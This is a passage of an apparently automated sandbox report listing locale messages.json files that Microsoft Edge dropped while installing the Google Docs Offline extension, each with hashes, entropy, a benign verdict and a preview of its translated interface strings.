Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
